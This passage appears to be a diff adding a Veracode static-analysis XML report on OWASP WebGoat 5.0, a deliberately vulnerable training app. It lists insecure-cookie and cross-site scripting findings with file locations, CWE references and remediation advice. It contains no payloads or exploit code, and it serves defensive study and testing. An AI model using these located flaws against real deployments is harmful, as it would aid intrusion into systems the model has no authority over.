+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
